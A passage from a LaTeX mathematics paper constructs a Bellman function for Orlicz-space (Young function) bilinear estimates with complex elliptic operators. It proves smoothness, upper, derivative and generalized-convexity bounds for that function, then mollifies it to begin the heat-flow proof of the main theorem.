By the considerations from Subsection~\ref{subsec:divform} we have
\[ \Delta_{\Phi}(A) = \Delta_p(A),\quad \Delta_{\Psi}(B) = \Delta_p(B) \]
for $p=\tilde{M}+1$.
The so-called \emph{Bellman function method} relies on boundedness and convexity properties of a carefully chosen auxiliary function; see the seminal paper by Nazarov, Treil, and Volberg \cite{NazarovTreilVolberg99} and classical expository papers \cite{NazarovTreil96} and \cite{NazarovTreilVolberg01}.
We need to construct a Bellman function relevant to the present problem. Let us define $\mathfrak{X}\colon\mathbb{C}^2\to[0,\infty)$ as
\begin{equation}\label{eq:mainBellman}
\mathfrak{X}(u,v) := \begin{cases}
{\displaystyle (1+\delta)\big(\Phi(|u|) + \Psi(|v|)\big) + \delta |u|^2 \int_{0}^{|u|} \frac{\Phi'(s)\,\textup{d}s}{s^2}} & \text{ for } (u,v)\in\mathcal{Y}_{\downarrow}\cup\mathcal{Y}, \\
{\displaystyle \Phi(|u|) + \Psi(|v|) + \delta |u|^2\int_{0}^{|v|}\frac{\textup{d}s}{\Psi'(s)}} & \text{ for } (u,v)\in\mathcal{Y}_{\uparrow},
\end{cases}
\end{equation}
where
\begin{equation}\label{eq:choiceofdelta}
\delta := \frac{\tilde{m}-1}{\tilde{m}} \min\Big\{ \frac{\Delta_{p}(A)}{8\Lambda(A)}, \frac{\Delta_{p}(B)}{4\Lambda(B)}, \frac{\lambda(A)\Delta_{p}(B)}{100\max\{ \Lambda(A)^2,\Lambda(B)^2 \}} \Big\}.
\end{equation}
Note that $s\mapsto\Phi'(s)/s^2$ and $s\mapsto1/\Psi'(s)$ are integrable in a neighborhood of $s=0$, thanks to \eqref{eq:intPhiupper} and \eqref{eq:intPsiupper}.
In the particular case of mutually conjugate Lebesgue space Young functions \eqref{eq:LpLq}, formula \eqref{eq:mainBellman} simplifies as
\begin{equation}\label{eq:particularBellman}
\frac{|u|^p}{p} + \frac{|v|^q}{q} + \frac{\delta}{2-q}\times \begin{cases}
\frac{2}{p}|u|^p + \big(\frac{2}{q}-1\big)|v|^q & \text{ for } |u|^p\geqslant |v|^q, \\
|u|^2 |v|^{2-q} & \text{ for } |u|^p<|v|^q,
\end{cases}
\end{equation}
which is just a minor modification of (a two-variable version of) the Bellman function from \cite[Section~8]{NazarovTreil96}.
At the first sight there seems to be many possibilities for $\mathfrak{X}$ generalizing \eqref{eq:particularBellman}, but inspection of desired properties below narrows down the choice severely.
Thus, even if the above choice for $\mathfrak{X}$ might not be the most obvious one, we find it necessary and somewhat canonical.
The main task is to prove several crucial estimates for this function $\mathfrak{X}$.
Following Nazarov and Treil \cite{NazarovTreil96}, Carbonaro and Dragi\v{c}evi\'{c} \cite{CarbonaroDragicevic20} established the required estimates in the particular case of power functions \eqref{eq:LpLq}, namely for a minor variant of \eqref{eq:particularBellman}. The power functions play an important role in their paper, as already emphasized in the title of \cite{CarbonaroDragicevic20}. Here we need to be a bit more cautious, working with more general $\Phi$ and $\Psi$.
We begin with some smoothness of $\mathfrak{X}$.
\begin{lemma}\label{lm:XisC1}
The function $\mathfrak{X}$ is $\textup{C}^1$ on the whole domain $\mathbb{C}^2\equiv\mathbb{R}^4$. Moreover, it is $\textup{C}^2$ on $(\mathbb{C}\setminus\{0\})^2 \setminus\mathcal{Y}$ and its second-order partial derivatives are locally integrable, i.e., they are integrable on every bounded measurable subset of $(\mathbb{C}\setminus\{0\})^2 \setminus\mathcal{Y}$.
\end{lemma}
\begin{proof}
Define $\mathfrak{B}\colon[0,\infty)^2\to[0,\infty)$ by
\[ \mathfrak{B}(u,v) := \begin{cases}
{\displaystyle (1+\delta)\big(\Phi(u) + \Psi(v)\big) + \delta u^2 \int_{0}^{u} \frac{\Phi'(s)\,\textup{d}s}{s^2}} & \text{ for } v\leqslant\Phi'(u),\text{ i.e., } u\geqslant\Psi'(v),\\
{\displaystyle \Phi(u) + \Psi(v) + \delta u^2\int_{0}^{v}\frac{\textup{d}s}{\Psi'(s)}} & \text{ for } v>\Phi'(u),\text{ i.e., } u<\Psi'(v),
\end{cases} \]
where $\delta$ is as in \eqref{eq:choiceofdelta}. Thus, $\mathfrak{X}(u,v)=\mathfrak{B}(|u|,|v|)$. In order to see that $\mathfrak{X}$ is continuous on $\mathbb{C}^2$, it is sufficient to verify that $\mathfrak{B}$ is continuous on $[0,\infty)^2$. Each of the two defining formulae for $\mathfrak{B}$ is clearly continuous on $[0,\infty)^2$, so it remains to see that they coincide on the critical curve
\begin{equation}\label{eq:criticalcurve}
\{(u,v)\in[0,\infty)^2 : v=\Phi'(u)\} = \{(u,v)\in[0,\infty)^2 : u=\Psi'(v)\}.
\end{equation}
On this curve we have
\begin{align}
& u^2\int_{0}^{v}\frac{\textup{d}t}{\Psi'(t)} = u^2\int_{0}^{\Phi'(u)}\frac{\textup{d}t}{\Psi'(t)} = \Big[\begin{array}{c}t=\Phi'(s)\\ \textup{d}t=\Phi''(s)\,\textup{d}s\end{array}\Big] \nonumber \\
& = u^2\int_{0}^{u}\frac{\Phi''(s)\,\textup{d}s}{s} = \Big[\text{integration by parts and \eqref{eq:Phicond1}}\Big] \nonumber \\
& = u v + u^2\int_{0}^{u}\frac{\Phi'(s)\,\textup{d}s}{s^2}
= \Phi(u) + \Psi(v) + u^2\int_{0}^{u}\frac{\Phi'(s)\,\textup{d}s}{s^2}. \label{eq:integralcomput}
\end{align}
Here we used the well-known fact that Young's inequality \eqref{eq:Youngsineq} becomes and equality when the pair $(s,t)$ lies on the critical curve.
This confirms the continuity of $\mathfrak{B}$ and thus also of $\mathfrak{X}$.
Now we prove that all four first-order partial derivatives of $\mathfrak{X}$ exist and are continuous on $\mathbb{C}^2$.
Since
\[ \partial_{u_r}\mathfrak{X}(u_r+iu_i,v_r+iv_i) = \partial_1\mathfrak{B}(|u|,|v|)\frac{u_r}{|u|} \] and similar equalities hold for other derivatives,
it is sufficient to show that $\mathfrak{B}$ is $\textup{C}^1$ on $(0,\infty)^2$, that its partial derivatives $\partial_1\mathfrak{B}(u,v)$, $\partial_2\mathfrak{B}(u,v)$ continuously extend to $[0,\infty)^2$, and that
\begin{align}
\lim_{(0,\infty)^2\ni(u,v)\to(0,v_0)} \partial_1\mathfrak{B}(u,v) & = 0, \label{eq:partlimits1} \\
\lim_{(0,\infty)^2\ni(u,v)\to(u_0,0)} \partial_2\mathfrak{B}(u,v) & = 0 \label{eq:partlimits2}
\end{align}
for any $u_0,v_0\in[0,\infty)$.
In fact, we will prove stronger statements,
\begin{align}
\partial_1\mathfrak{B}(u,v) & = O(u) \quad\text{as } u\to0, \text{ locally uniformly in } v\in[0,\infty), \label{eq:partlimits3} \\
\partial_2\mathfrak{B}(u,v) & = O(\Psi'(v)) \quad\text{as } v\to0, \text{ locally uniformly in } u\in[0,\infty), \label{eq:partlimits4}
\end{align}
which respectively imply \eqref{eq:partlimits1} and \eqref{eq:partlimits2}.
The two expressions in the definition of $\mathfrak{B}$ are clearly $\textup{C}^1$ in the open first quadrant $(0,\infty)^2$. Partial derivatives of the first expression with respect to $u$ and $v$ are, in order,
\begin{align}
& (1+2\delta) \Phi'(u) + 2\delta u \int_{0}^{u} \frac{\Phi'(s)\,\textup{d}s}{s^2}, \label{eq:par1u} \\
& (1+\delta) \Psi'(v), \label{eq:par1v}
\end{align}
while partial derivatives of the second expression are
\begin{align}
& \Phi'(u) + 2\delta u \int_{0}^{v} \frac{\textup{d}s}{\Psi'(s)}, \label{eq:par2u} \\
& \Psi'(v) + \frac{\delta u^2}{\Psi'(v)}. \label{eq:par2v}
\end{align}
The very same computation \eqref{eq:integralcomput} shows that \eqref{eq:par1u} and \eqref{eq:par2u} coincide on the critical curve \eqref{eq:criticalcurve}.
Also, \eqref{eq:par1v} and \eqref{eq:par2v} simplify there both as $(1+\delta)u$, confirming that $\mathfrak{B}$ is $\textup{C}^1$ but, so far, only on the open quadrant $(0,\infty)^2$.
It is clear that \eqref{eq:par1u}--\eqref{eq:par2u} continuously extend to the closed first quadrant $[0,\infty)^2$, and the same is also true for \eqref{eq:par2v} under the condition $u<\Psi'(v)$ at the points $(0,v_0)$, $v_0\in(0,\infty)$.
Verification of \eqref{eq:partlimits3} is straightforward by observing the expressions \eqref{eq:par1u} and \eqref{eq:par2u}, while for \eqref{eq:partlimits4} we only need to observe \eqref{eq:par1v} and \eqref{eq:par2v}.
While doing so, in relation with \eqref{eq:par1u} and \eqref{eq:par2u} we remember the limit from condition \eqref{eq:Phicond1}. Also, we note that \eqref{eq:par2v} is relevant only in the region $u<\Psi'(v)$.
Regarding second-order derivatives, we have
\begin{align*}
& \partial_{u_r}^2\mathfrak{X}(u_r+iu_i,v_r+iv_i) = \partial_1^2\mathfrak{B}(|u|,|v|)\frac{u_r^2}{|u|^2} + \partial_1\mathfrak{B}(|u|,|v|)\frac{u_i^2}{|u|^3}, \\
& \partial_{u_r}\partial_{u_i}\mathfrak{X}(u_r+iu_i,v_r+iv_i) = \partial_1^2\mathfrak{B}(|u|,|v|)\frac{u_r u_i}{|u|^2} - \partial_1\mathfrak{B}(|u|,|v|)\frac{u_r u_i}{|u|^3}, \\
& \partial_{u_r}\partial_{v_r}\mathfrak{X}(u_r+iu_i,v_r+iv_i) = \partial_1\partial_2\mathfrak{B}(|u|,|v|)\frac{u_r v_r}{|u| |v|},
\end{align*}
etc.
Partial derivatives $\partial_1^2\mathfrak{B}(u,v)$, $\partial_1\partial_2\mathfrak{B}(u,v)$, $\partial_2^2\mathfrak{B}(u,v)$ of the first defining expression of $\mathfrak{B}$ respectively equal
\begin{align*}
& (1+2\delta) \Phi''(u) + 2\delta \frac{\Phi'(u)}{u} + 2\delta\int_{0}^{u} \frac{\Phi'(s)\,\textup{d}s}{s^2}, \\
& 0, \\
& (1+\delta) \Psi''(v),
\end{align*}
while for the second defining expression of $\mathfrak{B}$ (where $0<u<\Psi'(v)$ holds) they are
\begin{align*}
& \Phi''(u) + 2\delta \int_{0}^{v} \frac{\textup{d}s}{\Psi'(s)}, \\
& \frac{2\delta u}{\Psi'(v)}, \\
& \Psi''(v) - \frac{\delta u^2 \Psi''(v)}{\Psi'(v)^2}.
\end{align*}
By observing these six expressions and remembering \eqref{eq:intPhiupper}, \eqref{eq:partlimits3}, \eqref{eq:partlimits4}, we easily conclude that $\partial_{u_r}^2\mathfrak{X}(u,v)$, $\partial_{u_r}\partial_{u_i}\mathfrak{X}(u,v)$, $\partial_{u_i}^2\mathfrak{X}(u,v)$ are
\[ O(\Phi''(|u|)) +O\Big(\frac{\Phi'(|u|)}{|u|}\Big) + O(1) \quad\text{as } u\to0, \]
locally uniformly in $v$, that $\partial_{u_r}\partial_{v_r}\mathfrak{X}(u,v)$, $\partial_{u_r}\partial_{v_i}\mathfrak{X}(u,v)$, $\partial_{u_i}\partial_{v_r}\mathfrak{X}(u,v)$, $\partial_{u_i}\partial_{v_i}\mathfrak{X}(u,v)$ are bounded, and that $\partial_{v_r}^2\mathfrak{X}(u,v)$, $\partial_{v_r}\partial_{v_i}\mathfrak{X}(u,v)$, $\partial_{v_i}^2\mathfrak{X}(u,v)$ are
\[ O(\Psi''(|v|)) +O\Big(\frac{\Psi'(|v|)}{|v|}\Big) \quad\text{as } v\to0, \]
locally uniformly in $u$.
Recalling \eqref{eq:Phicond3} and \eqref{eq:Psicond3}
we conclude that the second-order partial derivatives of $\mathfrak{X}$ are integrable on some neighborhood of each point of the two-dimensional coordinate planes $u=0$ and $v=0$.
Since the derivatives are obviously locally bounded outside of these two planes, the proof is complete.
\end{proof}
Let us proceed with an upper bound on $\mathfrak{X}$.
\begin{lemma}
\label{lm:Xupper}
The function $\mathfrak{X}$ satisfies
\begin{equation}\label{eq:Xupperbound}
\mathfrak{X}(u,v) \leqslant 2\max\Big\{1,\frac{M}{\tilde{m}}\Big\} \big(\Phi(|u|) + \Psi(|v|)\big)
\end{equation}
for $(u,v)\in\mathbb{C}^2$.
\end{lemma}
\begin{proof}
The estimate will be verified separately in the two regions.
\emph{Region $\mathcal{Y}_{\downarrow}\cup\mathcal{Y}$.}
In this region, \eqref{eq:intPhiupper} and \eqref{eq:quantities1} give
\[ \mathfrak{X}(u,v) \leqslant \Big(1+\delta+\delta\frac{M}{\tilde{m}-1}\Big)\Phi(|u|) + (1+\delta)\Psi(|v|), \]
so, by $\delta\leqslant(\tilde{m}-1)/100\tilde{m}$, we conclude \eqref{eq:Xupperbound}.
\emph{Region $\mathcal{Y}_{\uparrow}$.}
Here we have, by $|u|<\Psi'(|v|)$, \eqref{eq:intPsiupper}, and \eqref{eq:quantities3},
\begin{align*}
\mathfrak{X}(u,v) & \leqslant \Phi(|u|) + \Big(1 + \delta \frac{\tilde{m}}{\tilde{m}-1} \frac{m}{m-1}\Big) \Psi(|v|) \\
& \leqslant \Big(1 + \frac{1}{100}\frac{m}{m-1}\Big) \big(\Phi(|u|) + \Psi(|v|)\big)
\end{align*}
and it remains to recall $m\geqslant2$; see \eqref{eq:onmMs}.
\end{proof}
We will also need certain derivative estimates for $\mathfrak{X}$.
Recall that, by writing $z=x+iy \in \mathbb{C}$, we can define operators of complex differentiation:
\[ \partial_z=\frac{\partial_x-i\partial_y}2, \quad
\partial_{\bar z}=\frac{\partial_x+i\partial_y}2. \]
\begin{lemma}\label{lm:Xderiv}
We have
\begin{align*}
|\partial_{\bar u}\mathfrak{X}(u,v)| & \leqslant \max\{\Phi'(|u|),|v|\}, \\
|\partial_{\bar v}\mathfrak{X}(u,v)| & \leqslant \Psi'(|v|)
\end{align*}
for any $(u,v)\in\mathbb{C}^2$.
\end{lemma}
\begin{proof}
It is sufficient to verify these estimates in $(\mathbb{C}\setminus\{0\})^2 \setminus\mathcal{Y}$, since continuity of partial derivatives will extend them to the whole domain $\mathbb{C}^2$.
Denote $u=u_r+iu_i$, $v=v_r+iv_i$.
Using the notation from the proof of Lemma~\ref{lm:XisC1} we can write
\begin{align*}
\partial_{\bar u}\mathfrak{X}(u,v)
& = \frac{1}{2}\big(\partial_{u_r}\mathfrak{X}(u_r+iu_i,v_r+iv_i)+ i\partial_{u_i}\mathfrak{X}(u_r+iu_i,v_r+iv_i)\big) \\
& = \frac{1}{2}\Big( \partial_1\mathfrak{B}(|u|,|v|)\frac{u_r}{|u|}
+ i\partial_1\mathfrak{B}(|u|,|v|)\frac{u_i}{|u|} \Big)
= \frac{\partial_1\mathfrak{B}(|u|,|v|) \,u}{2|u|}
\end{align*}
and, analogously,
\[ \partial_{\bar v}\mathfrak{X}(u,v) = \frac{\partial_2\mathfrak{B}(|u|,|v|) \,v}{2|v|}. \]
\emph{Region $\mathcal{Y}_{\downarrow}$.}
We have computed the relevant partial derivatives of $\mathfrak{B}$ in \eqref{eq:par1u} and \eqref{eq:par1v}. Thanks to \eqref{eq:intPhiupper} and $\delta\leqslant(\tilde{m}-1)/100\tilde{m}$ we have
\[ |\partial_{\bar u}\mathfrak{X}(u,v)|
\leqslant \Big(\frac{1}{2}+\delta + \frac{\delta}{\tilde{m}-1}\Big) \Phi'(|u|)
\leqslant \Phi'(|u|). \]
Obviously, also
\[ |\partial_{\bar v}\mathfrak{X}(u,v)| \leqslant \Psi'(|v|). \]
\emph{Region $\mathcal{Y}_{\uparrow}$.}
The needed partial derivatives of $\mathfrak{B}$ were written in \eqref{eq:par2u} and \eqref{eq:par2v}, so, because of \eqref{eq:intPsiupper} and $|u|<\Psi'(|v|)$,
\[ |\partial_{\bar u}\mathfrak{X}(u,v)|
\leqslant \frac{1}{2}\Phi'(|u|) + \delta \frac{\tilde{m}}{\tilde{m}-1} |v| \leqslant \max\{\Phi'(|u|), |v|\} \]
and
\[ |\partial_{\bar v}\mathfrak{X}(u,v)|
\leqslant \Big(\frac{1}{2} + \frac{\delta}{2}\Big) \Psi'(|v|)
\leqslant \Psi'(|v|). \qedhere \]
\end{proof}
Let us finalize this section with a lower bound on the generalized Hessian of $\mathfrak{X}$.
It can also be thought of as a certain generalized convexity property of $\mathfrak{X}$.
\begin{lemma}
\label{lm:Xlower}
We have
\begin{equation}\label{eq:Xlowerbound}
H^{A(x),B(x)}_{\mathfrak{X}}[(u,v);(\zeta,\eta)] \geqslant \frac{1}{10} \Big(\frac{\tilde{M}}{\tilde{m}}\frac{\tilde{m}-1}{\tilde{M}-1}\Big)^{1/2} C_{p}(A,B)^{-1} |\zeta| |\eta|
\end{equation}
for $x\in\mathbb{R}^d$, $(u,v)\in(\mathbb{C}\setminus\{0\})^2 \setminus\mathcal{Y}$, and $(\zeta,\eta)\in(\mathbb{C}^d)^2$.
\end{lemma}
\begin{proof}
Using substitutions \eqref{eq:replacements} the lower bound \eqref{eq:Xlowerbound} can be rewritten as
\begin{equation}\label{eq:Xlower2}
\widetilde{H}^{A(x),B(x)}_{\mathfrak{X}}[(u,v);(\zeta,\eta)] \geqslant \frac{1}{10} \Big(\frac{\tilde{M}}{\tilde{m}}\frac{\tilde{m}-1}{\tilde{M}-1}\Big)^{1/2} C_{p}(A,B)^{-1} |\zeta| |\eta|
\end{equation}
and it will be verified separately in the two regions.
\emph{Region $\mathcal{Y}_{\downarrow}$.}
In this region Lemma~\ref{lm:hessians} can be applied with
\[ P(t) = (1+\delta) \Phi(t) + \delta t^2 \int_0^t \frac{\Phi'(s)\,\textup{d}s}{s^2},\quad
Q(t) = (1+\delta) \Psi(t), \]
noting that
\begin{align*}
\frac{1}{2}\Big(P''(t)+\frac{P'(t)}{t}\Big) & = \Big(\frac{1}{2}+\delta\Big) \Phi''(t) + \Big(\frac{1}{2}+2\delta\Big) \frac{\Phi'(t)}{t} + 2\delta \int_0^t \frac{\Phi'(s)\,\textup{d}s}{s^2}, \\
\frac{1}{2}\Big(P''(t)-\frac{P'(t)}{t}\Big) & = \Big(\frac{1}{2}+\delta\Big) \Phi''(t) - \frac{1}{2} \frac{\Phi'(t)}{t}.
\end{align*}
That way we end up with
{\allowdisplaybreaks
\begin{align*}
& \widetilde{H}^{A(x),B(x)}_{\mathfrak{X}}[(u,v);(\zeta,\eta)] \\
& = \mathop{\textup{Re}}\Bigg\langle A(x)\zeta, \ \frac{1}{2}\Big(\Phi''(|u|)+\frac{\Phi'(|u|)}{|u|}\Big) \zeta + \frac{1}{2}\Big(\Phi''(|u|)-\frac{\Phi'(|u|)}{|u|}\Big) \overline{\zeta} \Bigg\rangle_{\mathbb{C}^d} \\
& \quad + (1+\delta) \mathop{\textup{Re}}\Bigg\langle B(x)\eta, \ \frac{1}{2}\Big(\Psi''(|v|)+\frac{\Psi'(|v|)}{|v|}\Big) \eta + \frac{1}{2}\Big(\Psi''(|v|)-\frac{\Psi'(|v|)}{|v|}\Big) \overline{\eta} \Bigg\rangle_{\mathbb{C}^d} \\
& \quad + 2\delta \Phi''(|u|) \mathop{\textup{Re}}\big\langle A(x)\zeta, \mathop{\textup{Re}}\zeta \big\rangle_{\mathbb{C}^d}
+ 2\delta \Big(\frac{\Phi'(|u|)}{|u|} + \int_0^{|u|} \frac{\Phi'(s)\,\textup{d}s}{s^2}\Big) \underbrace{\mathop{\textup{Re}}\big\langle A(x)\zeta, \zeta \big\rangle_{\mathbb{C}^d}}_{\geqslant0}.
\end{align*}
}
Definition \eqref{eq:condPhi1}, positivity of $\Phi',\Phi'',\Psi',\Psi''$, and the choice of $\delta$ estimate this from below as
{\allowdisplaybreaks
\begin{align*}
& \widetilde{H}^{A(x),B(x)}_{\mathfrak{X}}[(u,v);(\zeta,\eta)] \\
& \geqslant \frac{1}{2} \Delta_{\Phi}(A) \Big(\Phi''(|u|)+\frac{\Phi'(|u|)}{|u|}\Big) |\zeta|^2 + \frac{1+\delta}{2} \Delta_{\Psi}(B) \Big(\Psi''(|v|)+\frac{\Psi'(|v|)}{|v|}\Big) |\eta|^2
- 2\delta \Lambda(A) \Phi''(|u|) |\zeta|^2 \\
& \geqslant \frac{1}{4}\Delta_{p}(A) \Phi''(|u|) |\zeta|^2
+ \frac{1}{2}\Delta_{p}(B) \Psi''(|v|) |\eta|^2 \\
& \geqslant \frac{1}{2} \big(\Delta_{p}(A)\Delta_{p}(B)\big)^{1/2} \big(\Phi''(|u|)\Psi''(|v|)\big)^{1/2} |\zeta| |\eta| \\
& \geqslant \frac{1}{2} C_{p}(A,B)^{-1} \big(\Phi''(|u|)\Psi''(|v|)\big)^{1/2} |\zeta| |\eta|.
\end{align*}
}
Recall that in $\mathcal{Y}_{\downarrow}$ we have $|u|>\Psi'(|v|)$.
For the proof of \eqref{eq:Xlower2} it remains to observe that, since $\Phi''$ is increasing by \eqref{eq:Phicond1},
\[ \Phi''(|u|)\Psi''(|v|) \geqslant \Phi''(\Psi'(|v|)) \Psi''(|v|) = (\Phi'\circ\Psi')'(|v|) = 1. \]
\emph{Region $\mathcal{Y}_{\uparrow}$.}
In this region Lemma~\ref{lm:hessians} applies with
\[ P(t) = \Phi(t),\quad
Q(t) = \Psi(t),\quad
R(t) = \delta \int_0^t \frac{\textup{d}s}{\Psi'(s)}. \]
Taking into account
\[ R'(t) = \frac{\delta}{\Psi'(t)},\quad R''(t) = \frac{-\delta\Psi''(t)}{\Psi'(t)^2} \]
that lemma gives
{\allowdisplaybreaks
\begin{align*}
& \widetilde{H}^{A(x),B(x)}_{\mathfrak{X}}[(u,v);(\zeta,\eta)] \\
& = \mathop{\textup{Re}}\Bigg\langle A(x)\zeta, \ \frac{1}{2}\Big(\Phi''(|u|)+\frac{\Phi'(|u|)}{|u|}\Big) \zeta + \frac{1}{2}\Big(\Phi''(|u|)-\frac{\Phi'(|u|)}{|u|}\Big) \overline{\zeta} \Bigg\rangle_{\mathbb{C}^d} \\
& \quad + \mathop{\textup{Re}}\Bigg\langle B(x)\eta, \ \frac{1}{2}\Big(\Psi''(|v|)+\frac{\Psi'(|v|)}{|v|}\Big) \eta + \frac{1}{2}\Big(\Psi''(|v|)-\frac{\Psi'(|v|)}{|v|}\Big) \overline{\eta} \Bigg\rangle_{\mathbb{C}^d} \\
& \quad + 2\delta \Big(\int_0^{|v|} \frac{\textup{d}s}{\Psi'(s)}\Big) \mathop{\textup{Re}}\big\langle A(x)\zeta, \zeta \big\rangle_{\mathbb{C}^d} \\
& \quad + 2\delta \frac{|u|}{\Psi'(|v|)} \mathop{\textup{Re}}\big\langle A(x)\zeta, \mathop{\textup{Re}}\eta \big\rangle_{\mathbb{C}^d}
+ 2\delta \frac{|u|}{\Psi'(|v|)} \mathop{\textup{Re}}\big\langle B(x)\eta, \mathop{\textup{Re}}\zeta \big\rangle_{\mathbb{C}^d} \\
& \quad - \delta \frac{|u|^2 \Psi''(|v|)}{\Psi'(|v|)^2} \mathop{\textup{Re}}\big\langle B(x)\eta, \mathop{\textup{Re}}\eta \big\rangle_{\mathbb{C}^d}
+ \delta \frac{|u|^2}{|v|\Psi'(|v|)} \mathop{\textup{Re}}\big\langle B(x)\eta, i\mathop{\textup{Im}}\eta \big\rangle_{\mathbb{C}^d}.
\end{align*}
}
Noting $\Phi',\Phi'',\Psi',\Psi''>0$ we see that the last expression is at least
{\allowdisplaybreaks
\begin{align*}
& \frac{1}{2} \Delta_{\Phi}(A) \Big( \Phi''(|u|) + \frac{\Phi'(|u|)}{|u|} \Big) |\zeta|^2
+ \frac{1}{2} \Delta_{\Psi}(B) \Big( \Psi''(|v|) + \frac{\Psi'(|v|)}{|v|} \Big) |\eta|^2 \\
& + 2\delta \lambda(A) \Big(\int_0^{|v|} \frac{\textup{d}s}{\Psi'(s)}\Big) |\zeta|^2
- 2\delta \big(\Lambda(A)+\Lambda(B)\big) \frac{|u|}{\Psi'(|v|)} |\zeta| |\eta| \\
& - \delta \Lambda(B) \Big(\frac{|u|^2\Psi''(|v|)}{\Psi'(|v|)^2} + \frac{|u|^2}{|v|\Psi'(|v|)}\Big) |\eta|^2.
\end{align*}
}
We can disregard the first term as nonnegative.
Since in $\mathcal{Y}_{\uparrow}$ we have $|u|<\Psi'(|v|)$, this whole expression is, in turn, bounded from below by
\[ 2\delta \lambda(A) \Big(\int_0^{|v|} \frac{\textup{d}s}{\Psi'(s)}\Big) |\zeta|^2
+ \Big(\frac{1}{2}\Delta_{p}(B) - \delta\Lambda(B)\Big) \Big( \Psi''(|v|) + \frac{\Psi'(|v|)}{|v|} \Big) |\eta|^2
- 2\delta \big(\Lambda(A)+\Lambda(B)\big) |\zeta| |\eta|. \]
The last display can be viewed as a quadratic form in $|\zeta|$ and $|\eta|$, and it is at least
\begin{align*}
& \Big(2\delta\lambda(A)\Delta_{p}(B) \frac{\Psi'(|v|)}{|v|} \int_0^{|v|} \frac{\textup{d}s}{\Psi'(s)}\Big)^{1/2} |\zeta| |\eta| - 2\delta \big(\Lambda(A)+\Lambda(B)\big) |\zeta| |\eta| \\
& \geqslant \Big(\delta\lambda(A)\Delta_{p}(B) \frac{\tilde{M}}{\tilde{M}-1}\Big)^{1/2} |\zeta| |\eta|
\geqslant \frac{1}{10} \Big(\frac{\tilde{m}-1}{\tilde{m}}\frac{\tilde{M}}{\tilde{M}-1}\Big)^{1/2} C_{p}(A,B)^{-1} |\zeta| |\eta|,
\end{align*}
where we also used \eqref{eq:intPsiupper} and the fact that $\delta$ was given by \eqref{eq:choiceofdelta}.
This proves \eqref{eq:Xlower2} again.
\end{proof}
\section{Proof of Theorem~\ref{thm:mainthm}}
\label{sec:proofofthm}
As discussed in Section \ref{subsec:formulationresults}, to prove Theorem~\ref{thm:mainthm} it is enough to establish the dehomogenized estimate \eqref{eq:bilinorl2} from Remark~\ref{rem:dehomogenization}. In its proof we will use the heat flow method and closely follow the outline by Carbonaro and Dragi\v{c}evi\'{c} \cite[Section 6]{CarbonaroDragicevic20} (also see \cite[Section 6]{CarbonaroDragicevicKovacSkreb21}). We will be very brief because what follows is a straightforward adaptation of their arguments. On the other hand, we still include a few details to indicate how certain formulae generalize from powers to Young functions $\Phi$ and $\Psi$.
\subsection{Regularization}
\label{subsec:regularization}
In the proof of Theorem~\ref{thm:mainthm} we will need a smoother version of the constructed Bellman function \eqref{eq:mainBellman}. To be more precise, we want to replace $\mathfrak{X}$ by a function that satisfies similar properties to those in Lemmae~\ref{lm:Xupper}--\ref{lm:Xlower} but is, in addition, also of class $\textup{C}^\infty$ everywhere on $\mathbb{C}^2$, and not only in $(\mathbb{C}\setminus\{0\})^2\setminus\mathcal{Y}$. Mollification of the Bellman function for this purpose has already been employed in \cite{PetermichlVolberg02} and \cite{NazarovVolberg03}. In a similar context, this ``regularization'' was performed in almost exactly the same way in \cite[Subsection~5.1]{CarbonaroDragicevic20}.
Let us fix a nonnegative radial $\textup{C}^\infty$ function $\varphi$ on $\mathbb{C}^2\equiv\mathbb{R}^4$, supported in the standard unit ball, and such that $\int_{\mathbb{C}^2}\varphi=1$. For a given $\nu\in(0,1]$ and $(w,z)\in\mathbb{C}^2$ we define $\varphi_\nu(w,z) := \nu^{-4} \varphi(w/\nu,z/\nu)$. Note that $\varphi_\nu$ are $\textup{L}^1$-normalized dilates of $\varphi$. Consider
\[ \mathfrak{X}_{\nu}:=\mathfrak{X}\ast\varphi_\nu, \]
i.e.,
\[ \mathfrak{X}_{\nu}(u,v) :=\int_{\mathbb{C}^2} \mathfrak{X}(u-w,v-z) \varphi_{\nu}(w,z) \,\textup{d}w \,\textup{d}z \]
for $(u,v)\in\mathbb{C}^2$.
Here $\textup{d}w$ and $\textup{d}z$ denote integration with respect to the two-dimensional Lebesgue measure on $\mathbb{C}\equiv\mathbb{R}^2$; it should not be confused with complex integration.
Clearly, $\mathfrak{X}_\nu$ is of class $\textup{C}^\infty$ on the whole $\mathbb{C}^2$, since it is a convolution of $\mathfrak{X}$ with a smooth function.
We still consider fixed $\Phi,\Psi,A,B$ that satisfy hypotheses of Theorem~\ref{thm:mainthm}.
\begin{proposition}
\label{prop:Xmollified}
\begin{enumerate}[(a)]
\item \label{eq:Xmoll1}
For $\nu\in(0,1]$ and $(u,v)\in\mathbb{C}^2$ we have:
\[ 0 \leqslant \mathfrak{X}_\nu(u,v) \leqslant 2\max\Big\{1,\frac{M}{\tilde{m}}\Big\}\big(\Phi(|u|+\nu)+ \Psi(|v|+\nu)\big). \]
\item \label{eq:Xmoll2}
For $\nu\in(0,1]$ and $(u,v)\in\mathbb{C}^2$ we have:
\begin{align*}
\big|\partial_{\bar{u}}\mathfrak{X}_{\nu}(u,v)\big| & \leqslant \max\big\{\Phi'(|u|+\nu),|v|+\nu\big\}, \\
\big|\partial_{\bar{v}}\mathfrak{X}_{\nu}(u,v)\big| & \leqslant \Psi'(|v|+\nu).
\end{align*}
\item \label{eq:Xmoll3}
For $\nu\in(0,1]$, $x\in\mathbb{R}^d$, $(u,v)\in\mathbb{C}^2$, and $(\zeta,\eta)\in(\mathbb{C}^d)^2$ we have:
\[ H^{A(x),B(x)}_{\mathfrak{X}_\nu}[(u,v);(\zeta,\eta)] \geqslant \frac{1}{10} \Big(\frac{\tilde{M}}{\tilde{m}}\frac{\tilde{m}-1}{\tilde{M}-1}\Big)^{1/2} C_{p}(A,B)^{-1} |\zeta| |\eta|. \]
\end{enumerate}
\end{proposition}
\begin{proof}
\emph{Estimate \eqref{eq:Xmoll1}.}
By the definition of $\mathfrak{X}_\nu$ and estimate \eqref{eq:Xupperbound} from Lemma~\ref{lm:Xupper} we easily get
\begin{align*}
\mathfrak{X}_\nu(u,v)
& \leqslant 2\max\Big\{1,\frac{M}{\tilde{m}}\Big\}\int_{\mathbb{C}^2} \big(\Phi(|u-w|)+\Psi(|v-z|)\big) \varphi_\nu(w,z) \, \textup{d}w \,\textup{d}z \\
& \leqslant 2\max\Big\{1,\frac{M}{\tilde{m}}\Big\} \big(\Phi(|u|+\nu)+\Psi(|v|+\nu)\big).
\end{align*}
